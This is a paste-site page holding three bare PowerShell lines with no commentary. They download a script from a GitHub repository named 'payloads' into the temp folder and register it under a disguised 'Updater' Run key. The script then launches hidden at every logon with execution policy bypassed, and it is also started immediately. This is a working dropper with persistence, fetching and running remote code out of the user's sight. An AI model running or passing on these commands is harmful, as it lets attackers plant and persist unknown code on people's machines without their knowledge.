Not a member of GistPad yet?
Sign Up,
it unlocks many cool features!
- Invoke-WebRequest "https://raw.githubusercontent.com/lubrj/payloads/refs/heads/main/poc"; -OutFile "$env:TEMP\install.ps1"
- New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Updater" -Value "powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -File `"$env:TEMP\install.ps1`"" -PropertyType String -Force
- Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$env:TEMP\install.ps1`"" -WindowStyle Hidden
RAW Paste Data
Copied
